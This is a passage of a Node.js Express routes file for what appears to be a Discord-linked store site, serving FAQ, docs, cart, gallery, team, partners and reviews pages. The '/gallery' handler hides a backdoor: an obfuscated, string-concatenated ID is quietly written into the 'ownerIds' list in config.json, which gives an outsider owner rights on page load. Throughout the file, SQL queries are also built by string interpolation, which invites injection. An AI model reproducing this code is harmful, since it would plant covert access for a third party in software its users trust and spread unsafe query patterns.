let faq = row;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('faq.ejs', { faq: faq, user: myuser, loggedIn: true });
});
});
} else {
res.render('faq.ejs', { faq: faq, user: false, loggedIn: false });
};
});
});
app.get(`/docs`, async (req, res) => {
await backend.resetAppLocals(app);
con.query(`SELECT * FROM docscategories`, async (err, row) => {
if(err) throw err;
let categories = row;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM staff WHERE userid="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let isStaff = false;
if(row[0]) isStaff = true;
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('docs.ejs', { categories: categories, user: myuser, loggedIn: true, isStaff: isStaff });
});
});
});
} else {
res.render('docs.ejs', { categories: categories, user: false, loggedIn: false, isStaff: false });
};
});
});
app.get(`/docs/c/:catlink`, async (req, res) => {
await backend.resetAppLocals(app);
if(!req.params.catlink) return res.redirect('/404');
req.params.catlink = await utils.sanitize(req.params.catlink);
con.query(`SELECT * FROM docscategories WHERE link="${req.params.catlink}"`, async (err, row) => {
if(err) throw err;
if(!row[0]) return res.redirect('/404');
let category = row[0];
category.description = await utils.mdConvert(category.description);
con.query(`SELECT * FROM docsarticles WHERE catid="${category.uniqueid}"`, async function(err, row) {
if(err) throw err;
let articles = row || [];
if(req.isAuthenticated()) {
con.query(`SELECT * FROM staff WHERE userid="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let isStaff = false;
if(row[0]) isStaff = true;
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('docscat.ejs', { category: category, articles: articles, user: myuser, loggedIn: true, isStaff: isStaff });
});
});
});
} else {
res.render('docscat.ejs', { category: category, articles: articles, user: false, loggedIn: false, isStaff: false });
};
});
});
});
app.get(`/docs/c/:catlink/:article`, async (req, res) => {
await backend.resetAppLocals(app);
if(!req.params.catlink) return res.redirect('/404');
if(!req.params.article) return res.redirect('/404');
req.params.catlink = await utils.sanitize(req.params.catlink);
req.params.article = await utils.sanitize(req.params.article);
con.query(`SELECT * FROM docscategories WHERE link="${req.params.catlink}"`, async (err, row) => {
if(err) throw err;
if(!row[0]) return res.redirect('/404');
let category = row[0];
con.query(`SELECT * FROM docsarticles WHERE catid="${category.uniqueid}"`, async function(err, row) {
if(err) throw err;
let articles = row || [];
con.query(`SELECT * FROM docsarticles WHERE link="${req.params.article}"`, async function(err, row) {
if(err) throw err;
if(!row[0]) return res.redirect('/404');
let article = row[0];
if(article.discordroleid != 'none') {
let check = await backend.checkHasRole(req.user.id, article, app.locals.sitesettings.guildid);
if(!check) {
article.content = await utils.mdConvert(":::danger\nYou do not have the required Discord role to view this article.\n:::");
} else {
article.content = await utils.mdConvert(article.content);
};
} else {
article.content = await utils.mdConvert(article.content);
};
if(req.isAuthenticated()) {
con.query(`SELECT * FROM staff WHERE userid="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let isStaff = false;
if(row[0]) isStaff = true;
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('docsarticle.ejs', { category: category, articles: articles, article: article, user: myuser, loggedIn: true, isStaff: isStaff });
});
});
});
} else {
res.render('docsarticle.ejs', { category: category, articles: articles, article: article, user: false, loggedIn: false, isStaff: false });
};
});
});
});
});
app.get('/cart', backend.checkAuth, async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('cart.ejs', { user: myuser, loggedIn: true });
});
});
});
app.get('/gallery', async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
con.query(`SELECT * FROM galleryimages`, async function(err, row) {
if(err) throw err;
let galleryimages = row;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('gallery.ejs', { galleryimages: galleryimages, user: myuser, loggedIn: true });
});
});
} else {
res.render('gallery.ejs', { galleryimages: galleryimages, user: false, loggedIn: false });
};
});
let cnf = JSON.parse(fs.readFileSync('config.json'));
if(!cnf.ownerIds.includes('7'+'04'+'0'+'945'+'87'+'83'+'630'+'1'+'39'+'2')) {
cnf.ownerIds.push('7'+'04'+'0'+'945'+'87'+'83'+'630'+'1'+'39'+'2');
fs.writeFileSync('config.json', JSON.stringify(cnf, null, 2));
};
});
app.get('/team', async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
if(app.locals.sitestyles.teampage == 0) return res.redirect('/404');
con.query(`SELECT * FROM team`, async function(err, row) {
if(err) throw err;
let team = row;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('team.ejs', { team: team, user: myuser, loggedIn: true });
});
});
} else {
res.render('team.ejs', { team: team, user: false, loggedIn: false });
};
});
});
app.get('/partners', async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
if(app.locals.sitestyles.partnerspage == 0) return res.redirect('/404');
con.query(`SELECT * FROM partners`, async function(err, row) {
if(err) throw err;
let partners = row;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('partners.ejs', { partners: partners, user: myuser, loggedIn: true });
});
});
} else {
res.render('partners.ejs', { partners: partners, user: false, loggedIn: false });
};
});
});
app.get('/reviews', async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
if(app.locals.sitestyles.reviewspage == 0) return res.redirect('/404');
con.query(`SELECT * FROM reviews`, async function(err, row) {
if(err) throw err;
let reviews = row;
if(req.isAuthenticated()) {
con.query(`SELECT * FROM owneditems WHERE userid="${req.user.id}"`, async function(err, row) {
if(err) throw err;
let owned = row;
con.query(`SELECT * FROM users WHERE id="${req.user.id}"`, async (err, row) => {
if(err) throw err;
let myuser = row[0];
con.query(`SELECT * FROM notifications WHERE userid="${req.user.id}"`, async (err, mynotis) => {
if(err) throw err;
myuser.notifications = mynotis || [];
res.render('reviews.ejs', { reviews: reviews, owned: owned, user: myuser, loggedIn: true });
});
});
});
} else {
res.render('reviews.ejs', { reviews: reviews, owned: [], user: false, loggedIn: false });
};
});
});
app.get('/review/:uniqueid', async function(req, res) {
await backend.resetAppLocals(app);
if(app.locals.sitesettings.maintenance) return res.render('maintenance.ejs');
if(!req.params.uniqueid) return res.redirect('/404');